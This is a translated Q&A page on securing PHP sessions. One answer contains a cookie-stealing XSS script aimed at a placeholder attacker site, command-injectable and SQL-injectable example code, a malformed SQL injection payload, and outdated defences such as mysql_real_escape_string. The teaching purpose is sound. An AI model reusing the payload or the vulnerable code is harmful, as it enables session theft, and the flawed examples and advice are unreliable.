保护PHP会话免受XSS攻击[关闭]

Question

我已经阅读了很多关于owasp.org的文章，而我记得最多并且无法很好理解的一件事就是保护PHP会话。

我不太了解安全会话的进行方式，因此我在这里问。 用PHP保护会话的最佳方法是什么？

附带问题：XSS是否容易受到文件输入的影响？

这是PHP会话劫持的来源： OWASP.org：PHP安全备忘单

Answer 1

用PHP保护会话的最佳方法是什么？

安全性无异于假设您要去专柜购买一瓶牛奶。 阅读客户评论可能会告诉您什么是最好的牛奶，但是对于安全性而言则有所不同。

客户评论是Owasp概述的内容。 它告诉您安全会话处理的一般动态和含义。

由于PHP会话只是PHP本身提供的某种基本功能，因此没有什么要告诉您什么是保护这些会话的最佳方法，因为这很大程度上取决于您使用该功能的方式 。

但是，使用PHP会话的最佳方法的一个明显部分是，要密切注意安全性报告以及对PHP本身以及会话特性的评论。 然后注意保持最新的PHP版本，该版本提供了保护会话的最佳方法 ，它可能是最新的稳定版本。 有时，如果报告了缺陷，则下一版本中的问题并不能完全解决，因此请当心。

其他与PHP无关的其他东西都未定义，Owasp在这里只能提供一个子集。

因此，出于安全性考虑，在开始将其应用于（您的）PHP代码之前，首先了解Owasp文档中概述的内容绝对重要。 例如，通过在此处提出问题，可以给恕我直言的最佳方向是，您将更加难以了解Owasp文档的内容和含义。

了解事物的工作方式是安全性的关键。

Answer 2

以下是一些需要牢记的主要问题：

不验证用户输入

假设您有一个网页，允许用户查看文件夹的内容（例如，托管公司并向用户显示其在服务器上的文件）

这是一些可能实现它的代码：

$directory = $_GET['directory'];

exec("ls $directory", $result);

攻击者可以通过将其他命令传入url字符串来利用此漏洞，例如：

ls -LR

会话劫持

每个会话都有一个唯一的ID，如果攻击者拥有它，则可以（可能）使用它来获取机密信息。

为了防止这种情况，请让用户在进行敏感操作之前重新验证其身份（例如使用密码）（例如，如果用户想重置其密码，请先强迫他们输入旧密码）

XSS（跨站点脚本攻击）

只要您的网站上包含用户生成的内容（一个很好的例子就是在博客上发表评论），就有潜在的威胁，攻击者会将javaScript放入其内容（阅读：他的评论）中，这可能会损害所有来到页面。

这是一个例子：

<script> 
    document.location = 'http://www.hackingYou.com/stealYourData.php?' + document.cookie; 
</script>

该代码将使攻击者的网站（hackingYou.com）窃取您当前访问的网站所具有的cookie。

防止这种情况的一种方法是使用以下命令从输入的任何字符串中删除任何HTML：

strip_tags($input);

SQL注入

（没有这个答案将不是一个体面的答案）

假设您有一个网页，用于将用户登录到站点。 为了成功登录它们，您需要检查它们在数据库中的记录。

这是可能的编码方式：

$sql = "SELECT * FROM users WHERE username = $_GET['username'] and password = $_GET['password']";

攻击者可以通过在密码字段中输入密码来利用此漏洞：

abcd OR WHERE 1 = 1

产生的sql语句如下所示：

SELECT * FROM users WHERE username = hacker AND password = abcd OR WHERE 1 = 1;

这将向攻击者吐出所有用户名和密码的完整表。

为了防止这种情况，请使用以下命令为SQL输入字符串“清除”：

mysql_real_escape_string($input) 

这是大多数基础知识，很明显，应该始终阅读最新的安全公告，以保持最新，例如：

• 错误追踪
• PHP安全联盟 （专注于安全性的PHP专家）
• OWASP

Answer 3

确保所有环境安全的最好方法是学习一个PHP Web框架，该框架将为您提供随时可用的安全级别输入。

显然，安全性是不存在的，它存在更好的安全性和最差的安全性，我建议您不要重蹈覆辙，因此，根据社区错误/黑客报告，每天都会对Web框架进行深入修复，而根据我的建议，认为，这是您可以获得的最大安全级别！